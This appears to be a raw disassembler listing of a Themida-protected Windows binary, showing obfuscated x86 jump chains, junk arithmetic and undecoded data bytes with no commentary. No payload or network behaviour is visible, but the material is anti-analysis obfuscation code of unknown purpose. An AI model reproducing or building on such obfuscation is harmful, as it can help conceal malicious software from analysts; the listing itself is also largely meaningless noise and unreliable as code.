loc_631B41:				; CODE XREF: Themida_:00635023j
		jmp	loc_628ABD
; ---------------------------------------------------------------------------
		dw 0FCBFh
		dd 3151754Fh, 1175E9F9h, 8B660000h, 0CA68240Ch,	89000033h
		dd 5B54241Ch, 46851h, 55590000h, 0AE661CBDh, 81454D7Ch
		dd 0E90956CDh, 0A2C5817Eh, 29A03BA0h, 0C3815DEBh, 65923746h
		dd 0BE56CB01h, 7E0E3069h, 2347E9h, 0B8505900h, 4, 8758C201h
		dd 248B2414h, 2424D324h, 0FF6F14E9h, 0FDEE81FFh, 81162947h
		dd 0A3275F6h, 4815600h,	0D04DAA24h, 240C8B25h, 0FFE153E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_631BC5:				; CODE XREF: Themida_:0062AD8Bj
		push	ebp
		push	eax
		mov	eax, 0F4567B8Dh
		mov	ebp, eax
		pop	eax
		jmp	loc_634A80
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 0C48104C4h, 4, 0FFA832E9h, 76E9ADFFh, 46FFFF85h
		dd 1FE9DEF7h, 81FFFFCEh, 23C104C5h, 5DEE8904h, 3ADCEB81h
		dd 0EB812FDCh, 5F102342h, 0D5E9F301h, 81FFFFA1h, 0F30720C3h
		dd 0A8EB8138h, 55249973h, 7012E954h, 0B951FFFFh, 50C831B4h
		dd 62BD5552h, 895C0C56h, 0F2F8E9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_631C36:				; CODE XREF: Themida_:00629C1Ej
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_62F488
; ---------------------------------------------------------------------------


loc_631C41:				; CODE XREF: Themida_:006311A4j
		push	ecx
		push	250F287Fh
		pop	ecx
		inc	ecx
		shr	ecx, 6
		neg	ecx
		push	ebp
		mov	ebp, 4BF27801h
		or	ebp, 67815E0Dh
		jmp	loc_630222
; ---------------------------------------------------------------------------


loc_631C5F:				; CODE XREF: Themida_:0062C0C2j
		pop	eax
		push	ebp
		mov	ebp, 15A7336h
		shr	ebp, 6
		shr	ebp, 6
		dec	ebp
		shr	ebp, 8
		jmp	loc_629B4B
; ---------------------------------------------------------------------------
		db 5, 66h, 7
aAqs		db 'q+',0
		dw 6800h
		dd 4, 59CA2959h, 5C241487h, 68242C89h, 2, 81242C8Bh, 4C4h
		dd 5DEB0100h, 8B241C87h, 8B662424h, 9E682404h, 0E900003Fh
		dd 0FFFFA4CBh, 24048B66h, 279668h, 243C8900h, 4EC81h, 99E90000h
		dd 52FFFF88h, 0E9FB951h, 0E9496F3Fh, 0FFFF8C31h, 24048B66h
		dd 94A6852h, 0E9540000h, 12A4h
; ---------------------------------------------------------------------------


loc_631CE8:				; CODE XREF: Themida_:00634949j
		pop	esi
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebx
		push	0FA0h
		mov	[esp], edi
		mov	edi, 5B7A30C4h
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_62C704
; ---------------------------------------------------------------------------


loc_631D28:				; CODE XREF: Themida_:006345BEj
		xor	edi, 295E69B7h
		jmp	loc_633B80
; ---------------------------------------------------------------------------


loc_631D33:				; CODE XREF: Themida_:0062F76Aj
		sub	dword ptr [esp+4], 250F50BAh
		add	[esp+4], ecx
		push	ebp
		mov	ebp, 250F50BAh
		add	[esp+8], ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_6346C2
; ---------------------------------------------------------------------------
		db 89h
		dd 39B9240Ch, 160000Fh,	0CEE959C8h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_631D6B:				; CODE XREF: Themida_:00631092j
		add	esp, 4
		add	edi, 2
		jmp	loc_630D6A
; ---------------------------------------------------------------------------
		db 0BAh, 2, 0
		dd 0D6010000h, 0C3DCE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_631D86:				; CODE XREF: Themida_:00629CA8j
		neg	ebx
		or	ebx, 448D751Bh
		sub	ebx, 1A9E45F8h
		add	ecx, ebx
		pop	ebx
		mov	ebp, ecx
		pop	ecx
		push	ebp
		pop	ecx
		pop	ebp
		push	edx
		mov	edx, 5F6E3369h
		sub	edx, 4CAD3141h
		xor	edx, 31787113h
		inc	edx
		add	edx, 74838CA3h
		sub	ecx, edx
		pop	edx
		sub	edx, ecx
		pop	ecx
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_632E61
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_62A960
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FFA76CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_631DE1:				; CODE XREF: Themida_:0062B05Bj
		not	ebx
		xchg	ebx, ecx
		jmp	loc_630DF9
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 19589D1Ch, 0E99C2404h, 0FFFF6CC5h, 0E958C101h, 0FFFF9CA5h
		dd 295EF789h, 4875FF8h,	0CE95C24h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_631E0F:				; CODE XREF: Themida_:0062B86Dj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_6305FF
; ---------------------------------------------------------------------------
		dd 2BBh, 5BDD0100h, 31242C33h, 2C33242Ch, 24D25C24h, 34E99C24h
		dd 66FFFF7Ah, 5124048Bh, 56505954h, 4BEh, 5EF08900h, 6887BE56h
		dd 0F1016213h, 64C1815Eh, 12C984Ah, 64E981C1h, 0E92C984Ah
		dd 0FFFFC4A1h, 592434FFh, 0FFF052E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_631E71:				; CODE XREF: Themida_:00632A34j
		mov	ecx, 39826D20h
		xor	ecx, 170B1FF9h
		sub	ecx, 2E8972D5h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_632DC7
; ---------------------------------------------------------------------------
		dd 0FF6C20E9h, 4C483FFh, 8102E9C1h, 0CD08B0C1h,	50D1F743h
		dd 6C2024B8h, 58C10177h, 479FBA52h, 0EA81530Dh,	92606832h
		dd 4E3EE981h, 0D12935CBh, 4E3EC181h, 0E95A35CBh, 59Fh
		dd 0F4CFBE56h, 0ED813280h, 39AF4052h, 0C581F501h, 39AF4052h
		dd 5DE9895Eh, 1FC0E9h, 89FB8900h, 15F5BDDh, 574B5DEBh
		dd 0A331C3BFh, 5FFB0935h, 51F2C381h, 3AE9A416h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_631F0F:				; CODE XREF: Themida_:0062D389j
		pop	eax
		push	299Dh
		mov	[esp], ebp
		push	80h
		push	dword ptr [esp]
		jmp	loc_630E47
; ---------------------------------------------------------------------------
		db 0E9h, 93h, 6Bh
		dd 0BD55FFFFh, 2, 3535C181h, 7FE90BB7h,	1FFFF90h, 29E95BDEh
		dd 87FFFF6Fh, 835C2414h, 148904ECh, 815A5424h, 4C2h, 68555300h
		dd 75C01F3Ah, 5E5C15Dh,	0E73CED81h, 0EB89B803h,	0FFB03AE9h
		dd 0DCE9ADFFh, 0FFFFFF0h, 0EC83C8B6h, 24048904h, 1637E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_631F82:				; CODE XREF: Themida_:0062DBF7j
		push	1703h
		jmp	loc_62ACA5
; ---------------------------------------------------------------------------
		dd 0FF6B2CE9h, 34B70CFFh, 58C78889h, 0B753C504h, 0E9F80006h
		dd 0FFFFF8ACh, 0E9240431h, 3222h, 0FF6B0CE9h, 89CB81FFh
		dd 0E93B4B09h, 0FFFFA503h
; ---------------------------------------------------------------------------


loc_631FBC:				; CODE XREF: Themida_:0062F9C7j
		sub	eax, 774D4DD5h
		jmp	loc_633BBE
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0F665C24h, 5166C8AFh, 6AE7E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_631FD6:				; CODE XREF: Themida_:006294A1j
		pop	edx
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		mov	eax, [esp]
		jmp	loc_62B071
; ---------------------------------------------------------------------------


loc_631FE5:				; CODE XREF: Themida_:00630DB6j
		sub	ebx, 46B34B63h
		mov	ebp, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		push	7604h
		mov	[esp], esi
		jmp	loc_62A59D
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 23F7605Ah, 0FFD76AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63200D:				; CODE XREF: Themida_:0062A074j
		mov	[esp], ebx
		mov	ebx, 52724ABFh
		sub	ebx, 7E175911h
		shr	ebx, 2
		jmp	loc_62EB4B
; ---------------------------------------------------------------------------
		db 89h
		dd 0F2E92424h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63202B:				; CODE XREF: Themida_:00633E93j
		pop	dword ptr [esp]
		pop	esp


loc_63202F:				; CODE XREF: Themida_:0062EFC7j
					; Themida_:006328A4j
		push	dword ptr [edi+24h]
		push	ecx
		push	eax
		push	ebp
		mov	ebp, 5FAF21D2h
		mov	eax, 57646F0Fh
		xor	eax, ebp
		pop	ebp
		jmp	loc_631833
; ---------------------------------------------------------------------------
aXhzy		db 'XhY',0
		dd 240C8900h, 888DB652h, 24E95AF1h, 1FFFFF4h, 12BE56D8h
		dd 4E7CD97Fh, 57EED146h, 0AE2E24BFh, 6E7C122h, 1FEFEF81h
		dd 0F78108DFh, 990278B8h, 515FFE21h, 0FFA6C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_632085:				; CODE XREF: Themida_:006339CCj
		xor	ebp, edi
		pop	edi
		sub	ebp, 0EE8C3F6Dh
		or	ebx, ebp
		pop	ebp
		jmp	loc_632B77
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 56000000h,	4BEh, 0E9F30100h, 0FFFF9027h, 0E904C483h
		dd 12F7h
; ---------------------------------------------------------------------------


loc_6320B4:				; CODE XREF: Themida_:0062FBA3j
		add	esp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_62F111
; ---------------------------------------------------------------------------
		db 80h
		dd 0F0003EC6h, 2434FF5Ah, 17A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_6320DD:				; CODE XREF: Themida_:00628AF9j
		mov	eax, esp
		push	edx
		jmp	loc_629319
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0DBh
		dd 814E3B02h, 780074C5h, 5DEB299Eh, 5350C301h, 0FF9840E9h
		dd 5EF101FFh, 8704C183h, 248B240Ch, 23BF5724h, 0C163E868h
		dd 0EF8104EFh, 2BF954D8h, 0FFE567E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63211D:				; CODE XREF: Themida_:00628CC3j
		pop	ebx
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_62C0AB
; ---------------------------------------------------------------------------
a5FS		db '5%FӺ',0Dh,0
		align 2
		dw 0C581h
		dd 7600506h, 0ED81D501h, 7600506h, 6A8EC581h, 575A2731h
		dd 2BFh, 9C87E900h, 78BAFFFFh, 0E9FEBDF4h, 0FFFF761Eh
; ---------------------------------------------------------------------------


loc_63215C:				; CODE XREF: Themida_:00629388j
		and	esi, 2DC6635Ah
		jmp	loc_62FB92
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4BF5700h, 29000000h, 6CE95FF9h, 56FFFFE6h, 815F5E57h
		dd 3908FEF6h, 23A0E962h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63218A:				; CODE XREF: Themida_:0062C002j
		sub	ebp, 62E1445Eh
		jmp	loc_6346EC
; ---------------------------------------------------------------------------


loc_632195:				; CODE XREF: Themida_:00629FBBj
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_62D760
; ---------------------------------------------------------------------------


loc_6321AC:				; CODE XREF: Themida_:00630D7Cj
		mov	eax, 7E835F5Ah
		push	edi
		mov	edi, 10485E82h
		jmp	loc_63196E
; ---------------------------------------------------------------------------


loc_6321BC:				; CODE XREF: Themida_:006322C7j
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, 29B07361h
		shr	esi, 3
		jmp	loc_62B62A
; ---------------------------------------------------------------------------
		dw 7868h
		dd 89000078h, 0DEE9240Ch, 0FFFFFFDFh, 0E9592434h, 1CA7h
		dd 0EE2854B6h, 0E9240C8Bh, 0FFFFD3F5h, 0A40F56B9h, 2E9C132h
		dd 0E9C1D1F7h, 71C98104h, 0E93C2F31h, 0FFFF9953h, 3C9BE181h
		dd 0E981421Ah, 0B69AE290h, 0FFC59AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_632219:				; CODE XREF: Themida_:0062C2DDj
		sub	al, 0BEh
		add	al, 65h
		jmp	loc_62EC6A
; ---------------------------------------------------------------------------
		dw 2489h
		dd 8BE95524h, 5EFFFFDBh, 0E907E3C1h, 0FFFF7FE2h, 0FF6884E9h
		dd 3EEF81FFh, 47D1473Eh, 3273EF81h, 814F5AE1h, 0E9FFDBF7h
		dd 3A940593h, 22E95E9Ah, 33FFFFDEh, 0C31240Ch, 240C3324h
		dd 0FFBCC5E9h, 0E9D831FFh, 1075h, 9D1C77FFh, 0D3665966h
		dd 0E99C2414h, 0FFFF6841h, 5C240487h, 81E38953h, 4C3h
		dd 4EB8300h, 5C241C87h,	0E9241C89h, 0FFFFB933h,	0E925C780h
		dd 0FFFFD5D0h, 10FFA2Dh, 14BB536Dh, 0E93C2040h,	32Ah, 159FB850h
		dd 0C3290B38h, 4EC8158h, 0E9000000h, 0FFFFD56Fh
; ---------------------------------------------------------------------------


loc_6322C4:				; CODE XREF: Themida_:0062EF3Ej
		xchg	edx, [esp]
		jmp	loc_6321BC
; ---------------------------------------------------------------------------
		dd 0E925C280h, 0FFFF78BCh
; ---------------------------------------------------------------------------


loc_6322D4:				; CODE XREF: Themida_:00634CB4j
		sub	esi, 27080AA2h
		push	ecx
		jmp	loc_62EA5E
; ---------------------------------------------------------------------------


loc_6322E0:				; CODE XREF: Themida_:0062C91Cj
		add	esi, 4
		sub	esi, 4
		jmp	loc_630361
; ---------------------------------------------------------------------------


loc_6322F1:				; CODE XREF: Themida_:00632E0Cj
		xor	ebp, eax
		pop	eax
		add	eax, ebp
		pop	ebp
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_62DC18
; ---------------------------------------------------------------------------


loc_632325:				; CODE XREF: Themida_:0062BB23j
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_6334E3
; ---------------------------------------------------------------------------
		db 66h
		dd 5324048Bh, 0E9515B54h, 0FFFF99D3h, 0FFE8C181h, 0CB89FA7Bh
		dd 977E9h, 0E9585D00h, 0FFFFAF14h, 0FDE9D6F7h, 81FFFFF1h
		dd 0E65AEDEAh, 0E9CA016Ch, 0FFFF7837h, 66D6F766h, 0E9566646h
		dd 0FFFFC903h, 9CB2525Ah, 0C280D2F6h, 48C2808Bh, 47E9CAFEh
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_632383:				; CODE XREF: Themida_:0062D71Bj
		sub	ebp, 6F162D40h
		add	ebp, 10C1EA9h
		add	ebp, 8DBBD64h
		sub	ebx, ebp
		pop	ebp
		add	ebx, eax
		jmp	loc_62E536
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFD351E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6323A5:				; CODE XREF: Themida_:0062978Aj
		mov	ecx, 0EC74D739h
		mov	ebx, ecx
		pop	ecx
		add	edx, ebx
		jmp	loc_62AEA7
; ---------------------------------------------------------------------------
		dd 996AEE81h, 0F531E03Ah, 0E924348Bh, 0FFFF6F14h, 0D8280504h
		dd 42C052Ch, 0B6525A04h, 5AF028FCh, 0CF67E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6323DA:				; CODE XREF: Themida_:0062B625j
		mov	al, bl
		pop	ebx
		dec	al
		jmp	loc_62FCD6
; ---------------------------------------------------------------------------


loc_6323E4:				; CODE XREF: Themida_:0063290Cj
		pop	esi
		push	ebx
		mov	ebx, 0
		add	ebx, eax
		mov	[ebx], edx
		jmp	loc_6307C7
; ---------------------------------------------------------------------------
		dd 0A9E95866h, 81FFFF76h, 4ECh,	24348900h, 1B2FE9h
		db 0
; ---------------------------------------------------------------------------


loc_632409:				; CODE XREF: Themida_:00628E97j
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_62F75E
; ---------------------------------------------------------------------------
		dd 59EAC381h, 0C38142FDh, 0FFFFFFFFh, 1790C381h, 0DD010A74h
		dd 4BA525Bh, 0E9000000h, 0FFFF8894h, 0DAB1E950h, 0C481FFFFh
		dd 4, 283ABF57h, 0B5E91CDEh, 58FFFF8Ah,	4247401h, 1CBDE9h
		db 0, 5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_62A19F
; ---------------------------------------------------------------------------
		dw 8359h
		dd 0EB8004C4h, 0FAE951C7h, 89FFFFACh, 61E9241Ch, 29000000h
		dd 240C8BC8h, 0E53CE952h, 0E3C1FFFFh, 2AA3E902h, 0D8280000h
		dd 0F2B252h, 22E6E9D0h,	0F3090000h, 0FFFD92E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_632499:				; CODE XREF: Themida_:0062ACF7j
		push	eax
		jmp	loc_632A99
; ---------------------------------------------------------------------------


loc_63249F:				; CODE XREF: Themida_:00634348j
		mov	eax, edx
		jmp	loc_62C115
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 1B233559h, 0F0055A0Fh, 1C1FEDFh, 0BA5258C6h,	2, 0FFBF72E9h
		dd 243489FFh, 977917BEh, 13EE811Eh, 0E91E9779h,	0FFFF8CF5h
		dd 0C381E389h, 4, 81E28952h, 4C2h, 76726800h, 93E90000h
		dd 0FFFFFF8Eh, 65C7E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6324F6:				; CODE XREF: Themida_:00634B4Fj
		sub	ecx, eax
		pop	eax
		xor	ecx, 4DCF7A83h
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 0Ch
		jmp	loc_630E3F
; ---------------------------------------------------------------------------


loc_632512:				; CODE XREF: Themida_:0063289Cj
		push	ebx
		jmp	loc_62FE73
; ---------------------------------------------------------------------------
aBudc		db 'dC',0
		dw 0C681h
		dd 54060AB5h, 24348759h, 0FFC048E9h, 6BE951FFh,	50FFFFCEh
		dd 3BB1BB53h, 0D889215Ch, 4E0C15Bh, 8BF6BA52h, 0B9513645h
		dd 62AD3FE1h, 159C801h,	3FE12DD0h, 895A62ADh, 83B7E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63255E:				; CODE XREF: Themida_:0062B08Ej
		mov	[esp], ebx
		jmp	loc_62A7E5
; ---------------------------------------------------------------------------
		dw 483h
		dd 48B0424h, 4C48124h, 5000000h, 4, 4B951h, 0C8290000h
		dd 83240C8Bh, 43304C4h,	24043124h, 0FFF139E9h, 0C8B66FFh
		dd 0AB76824h, 20E90000h, 58FFFF9Ah, 80F5CA80h, 0D7883BEAh
		dd 0E9F8285Ah, 0FFFFBC6Fh, 0AFF5E95Ch, 0E389FFFFh, 4C381h
		dd 0EB830000h, 241C8704h, 0FFD986E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6325C9:				; CODE XREF: Themida_:0062F526j
		mov	[edx+30h], eax
		jmp	loc_62EDF1
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 6
		dd 0FB78E952h, 0DBF7FFFFh, 0FF6B50E9h, 84BD55FFh, 0C16C9E5Dh
		dd 0F74D03EDh, 0DD49E9D5h, 8B66FFFFh, 0C2E92424h, 0BEFFFF64h
		dd 17D98EBEh, 348BF789h, 0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 3C8BFB89h, 0D774E924h,	8952FFFFh, 4C281E2h
		dd 83000000h, 148704EAh, 6AF2E924h, 0C8BAFFFFh,	8144B91Bh
		dd 0FD2250F2h, 0E9D5315Bh, 0FFFFA2A5h, 24048B66h, 9EDE9h
		dd 909CBF00h, 0C701BCD7h, 5B992D58h, 0F8011DD6h, 0D65B9905h
		dd 12DBE91Dh, 0E0C10000h, 43142D08h, 5E053FC7h,	298748F4h
		dd 0E3D158C3h, 8500C381h, 5D530196h, 5DE9895Bh,	1154E9h
		dd 24043100h, 5C240433h, 0E9240489h, 0FFFFC205h, 5C240C87h
		dd 0FF66C8E9h, 0AB6035FFh, 4729B13Ch, 48B5840h,	21316824h
		dd 1C890000h, 81E38924h, 4C3h, 0CA6DE900h, 0C328FFFFh
		dd 0FF9E8EE9h, 685366FFh, 2D36h, 55243489h, 7A8F6866h
		dd 0F7665D66h, 0F58166D5h, 8966DE4Fh, 0BB665DEEh, 31660B5Fh
		dd 56665EF3h, 5FA4BE66h, 66F00166h, 0D801665Eh,	0FFAD54E9h
		dd 0B5D9B7FFh, 0CB1FE9E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63270E:				; CODE XREF: Themida_:0062ECD5j
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_628ABD
; ---------------------------------------------------------------------------
		dd 0A58DE95Ah, 0E9ACFFFFh, 1B00h, 236AE381h, 874B6F3Ch
		dd 25E949CBh, 83FFFFA4h, 2C8904ECh, 4BD24h, 0EA010000h
		dd 0FF814BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_632745:				; CODE XREF: Themida_:0062FB36j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_62C058
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C2404h, 0FFFF851Fh
; ---------------------------------------------------------------------------


loc_63275C:				; CODE XREF: Themida_:00632BF1j
		pop	ebx
		sub	edi, 5CF5013Ch
		jmp	loc_62EF96
; ---------------------------------------------------------------------------


loc_632768:				; CODE XREF: Themida_:00633241j
		pop	ecx
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		jmp	loc_63315A
; ---------------------------------------------------------------------------
		db 0BAh
		align 10h
		dd 5051DA01h, 0B8h, 0E9C18900h,	0FFFF7424h
; ---------------------------------------------------------------------------


loc_632790:				; CODE XREF: Themida_:0062B665j
		mov	ebp, edx
		pop	edx
		jmp	loc_62CB16
; ---------------------------------------------------------------------------


loc_632798:				; CODE XREF: Themida_:00634024j
		push	ebx
		mov	bl, 0E4h
		sub	al, 0DEh
		add	al, bl
		add	al, 0DEh
		pop	ebx
		sub	al, 3Ah
		xor	al, 87h
		sub	bl, 0D7h
		sub	bl, al
		jmp	loc_629D6F
; ---------------------------------------------------------------------------
		dd 8106E5C1h, 92A2F8F5h, 5DE93152h, 49E9D141h, 52BEC181h
		dd 0C8293481h, 1B88E9h,	0E212500h, 0B20D1563h, 0F706030Eh
		dd 8DF8E9D8h, 0DAE9FFFFh
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6327E3:				; CODE XREF: Themida_:0062A9EAj
		add	al, 0F1h
		jmp	loc_62B622
; ---------------------------------------------------------------------------
		dw 8F35h
		dd 0F70FBC57h, 2A9735D8h, 462D065Ah, 81C1CAB6h,	0F1413BEAh
		dd 998CE95Fh, 455DFFFFh, 1BFDED81h, 0FBE9F3F2h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_632813:				; CODE XREF: Themida_:0062EF49j
		sub	edx, 39AA3B68h
		and	edx, 195821E8h
		sub	edx, 105821DEh
		mov	esi, edx
		pop	edx
		mov	edi, esi
		pop	esi
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_62A34B
; ---------------------------------------------------------------------------
aPtxhvf		db 'PTXhf',0
		dd 242C8900h, 2311A8BDh, 36C58155h, 5643C406h, 1D2EBA52h
		dd 0E28142AAh, 59FF1716h, 0FF63F8E9h, 48158FFh,	4963CA24h
		dd 242C8100h, 31E273F1h, 0B1240481h, 0E9294F7Bh, 1945h
		dd 0E781D787h, 0ABA7939h, 0F702E7C1h, 0CFF57DFh, 0E9555F24h
		dd 0FFFFF0B6h
; ---------------------------------------------------------------------------


loc_632890:				; CODE XREF: Themida_:0062B31Fj
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, 0BDB5959Fh
		jmp	loc_632512
; ---------------------------------------------------------------------------


loc_6328A1:				; CODE XREF: Themida_:0062C381j
		pop	edx
		or	eax, eax
		jz	loc_63202F
		push	ecx
		push	edx
		mov	edx, 28h
		jmp	loc_633471
; ---------------------------------------------------------------------------
		dd offset dword_49005C+0DF0Ch
		dw 0E900h
		dd 9BAh, 0F7505F5Bh, 35582414h,	0F18FB139h, 48BC301h, 4C48124h
		dd 66000000h, 39E9008Fh
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6328DF:				; CODE XREF: Themida_:0063052Dj
		pop	ebx
		add	eax, edx
		pop	edx
		add	eax, 59CE3A87h
		add	eax, edi
		sub	eax, 59CE3A87h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 290C0615h
		sub	eax, esi
		jmp	loc_6323E4
; ---------------------------------------------------------------------------
		db 30h,	0C3h, 0Fh
		dd 5CE9C0B6h, 89FFFF8Bh, 0E789243Ch, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 0FFB988E9h, 13E981FFh,	1046512h, 1BB9E9D9h
		dd 0C1420000h, 0EA8105EAh, 1B63118Fh, 0CEC3F281h, 0D101E843h
		dd 153EE95Ah, 28580000h, 39C380C3h, 0E904EC83h,	0FFFFDDF0h
		dd 0EF81CF01h, 14F9175Dh, 243C8759h, 0E924248Bh, 0FFFFF4BFh
		dd 2BF57h, 0E9520000h, 26ADh, 0E902C283h, 450h
; ---------------------------------------------------------------------------


loc_632990:				; CODE XREF: Themida_:0062AEFBj
		push	eax
		push	ebx
		push	36213C83h
		pop	ebx
		dec	ebx
		jmp	loc_631A06
; ---------------------------------------------------------------------------


loc_63299E:				; CODE XREF: Themida_:00634684j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	ecx
		sub	ecx, 64FC4D8Ch
		push	4FC8h
		mov	[esp], edi
		jmp	loc_62E59E
; ---------------------------------------------------------------------------


loc_6329C2:				; CODE XREF: Themida_:0062E0BAj
		mov	edi, 6E917975h
		shl	edi, 7
		xor	edi, 2DAD119Bh
		jmp	loc_63423F
; ---------------------------------------------------------------------------
		db 31h,	0FDh, 31h
		dd 6AECE9EFh, 0FF52FFFFh, 5A042474h, 8B24048Fh,	60E92424h
		dd 0ACFFFF7Eh, 0E952D830h, 0FFFF81C6h, 0C105EFC1h, 0EFC106EFh
		dd 0A8EF8105h, 0E9000068h, 0FFFFEB21h, 0ADE6E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_632A12:				; CODE XREF: Themida_:0062EB28j
		mov	[esp], esp
		jmp	loc_6350EA
; ---------------------------------------------------------------------------


loc_632A1A:				; CODE XREF: Themida_:0062D855j
		add	ecx, edx
		push	dword ptr [esp]
		jmp	loc_63002F
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFF8A9Bh
; ---------------------------------------------------------------------------


loc_632A2C:				; CODE XREF: Themida_:0062A0F5j
		push	126Ch
		mov	[esp], ecx
		jmp	loc_631E71
; ---------------------------------------------------------------------------


loc_632A39:				; CODE XREF: Themida_:00629876j
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		sub	[edi+24h], ebx
		jmp	loc_62D1C9
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0AD029FFCh, 0E95BDF89h, 196h, 0CD04062Ch, 0F800E504h
		dd 806DB753h, 0C78080E7h, 87F78062h, 0E2E9F828h, 0F7000024h
		dd 0DBA52D5h, 0C1293116h, 0BF5703E2h, 64CE79C1h, 102AE9h
		dd 241C8700h, 0FF988DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_632A99:				; CODE XREF: Themida_:0063249Aj
		mov	eax, 3F4F0F1Bh
		sub	eax, 5091479Eh
		jmp	loc_62D68C
; ---------------------------------------------------------------------------


loc_632AA8:				; CODE XREF: Themida_:00633A76j
		pop	esp
		jmp	loc_628ABD
; ---------------------------------------------------------------------------
		dw 0F75Ah
		dd 87F181D9h, 0E9121528h, 2790h
; ---------------------------------------------------------------------------


loc_632ABC:				; CODE XREF: Themida_:00629343j
		push	ecx
		jmp	loc_62C796
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 4C681h, 34330000h, 10BFE924h, 0CA800000h,	0E6EA80AAh
		dd 0F280DAF6h, 5AD4885Ah, 5866E328h, 0E99CB450h, 0FFFF94BDh
		dd 815DEB29h, 272C6CC3h, 81C30153h, 272C6CEBh, 5FC38153h
		dd 55593D53h, 2E44F9BDh, 0CF58153h, 29731431h, 0F82FE9EBh
